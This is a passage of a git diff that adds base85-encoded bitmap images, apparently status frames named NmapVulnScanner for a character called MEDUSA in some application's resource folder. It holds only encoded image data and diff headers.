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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1bed73c6d2b76ba5d3f004f52f6c7a87e721f359 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/MEDUSA/status/NmapVulnScanner/NmapVulnScanner3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..35cc8c597be51b9109f5ca07241184c7ef6f568d GIT binary patch literal 18462 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 